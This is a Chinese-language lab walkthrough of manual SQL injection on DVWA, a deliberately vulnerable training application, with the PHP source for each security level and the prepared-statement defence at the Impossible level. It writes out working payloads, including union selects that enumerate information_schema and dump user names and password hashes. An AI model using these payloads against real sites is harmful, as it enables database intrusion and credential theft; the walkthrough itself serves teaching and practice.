DVWA平台的使用Vulnerability: SQL Injection手工注入
LOW
此安全级别完全脆弱,根本没有任何安全措施。它的用途是作为网络应用程序漏洞如何通过不良编码实践表现出来的示例,并用作教授或学习基本利用技术的平台。
首先是一个输入框,需要输入User ID
的值,尝试输入1
:
可以得到正常的回显,包含First name
和Surname
,尝试用'
英文单引号判断是否存在注入:
报错信息如上,可以判断出原SQL语句的闭合形式为:id='1'
,存在注入点,继续判断列数:
1' order by 2 #
尝试列数为3
是报错,列数为2
是回显正常,判断回显位置:
11111' union select 1,2 #
得到回显位置,查看当前数据库名:
11111' union select 1,database() #
得到当前数据库名为:dvwa
,尝试猜解表名:
11111' union select 1,table_name from information_schema.tables where table_schema=database() #
可以知道当前有两个表:users
和gustbook
,我们继续访问users
表中的内容:
11111' union select 1,column_name from information_schema.columns where table_name=0x7573657273 #
将其中的users
转换为16进制
形式:
得到如下所示的列名:
我们访问user
列和password
列:
11111' union select user,password from dvwa.users #
得到了所有的用户名和密码,密码为md5(在线解密)形式加密:
到此即完成了对Low级别的SQL注入
源码分析:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
传入变量id
的值,未进行任何过滤即传递到数据库,产生严重的SQL注入
Medium
此设置主要是为了向不良示例的用户提供示例,其中开发人员尝试了但未能保护应用程序的安全。这也对用户完善他们的开发技术构成了挑战。
取消了输入框,改变成为数值选择,我们可以借助工具:
借助BurpSuite工具进行抓包修改,也可以使用Google Chrome的插件HackBar进行POST
方式的传参:
在HackBar
中尝试判断是否存在注入:
Submit=Submit&id=1'
通过报错信息判断出:'
英文单引号被转义,所以这个级别不能使用'
,继续注入:
Submit=Submit&id=1 order by 2 #
查询出有2
列,判断回显点位:
Submit=Submit&id=11111 union select 1,2 #
得到1
和2
均存在回显,其后面的内容与Low一样,只是将注入形式由GET
改为POST
方式,详情语句参考Low
源码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
由源码可知,Get input
部分有一个函数:mysqli_real_escape_string()
,此函数用来对字符串中的特殊字符进行转义
, 以使得这个字符串是一个合法的 SQL 语句。 传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。
High
此选项是对中等难度的扩展,其中包含尝试保护代码的更困难或替代的不良做法。该漏洞可能不允许相同程度的利用,类似于各种“夺旗”(CTF)竞赛中的情形。
点击链接改变ID的值:
输入1
:
可以看到回显改变,我们在新页面通过Google Chrome的插件HackBar进行SQL注入判断:
Submit=Submit&id=2'
可以看到原页面报错,验证想法:
Submit=Submit&id=2' %23
原页面回显正常,其注入步骤与Medium一样,详情语句参考Low级别
源码分析:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
与Low级别不一样的是在新页面输入id
的值,其值通过session
方式存储在服务器端。
Impossible
此级别应防止所有漏洞。它用于将易受攻击的源代码与安全的源代码进行比较。
在DVWA v1.9之前,此级别被称为“高”
分析源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Check Anti-CSRF token
部分:
防止CSRF攻击,Token
是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token
给前端。前端可以在每次请求的时候带上 Token
证明自己的合法地位
Was a number entered?
部分:
is_numeric()
函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare
预编译sql语句,能防止sql注入。
Make sure only 1 result is returned
部分:
$data->rowCount() == 1
限制了只返回一条语句。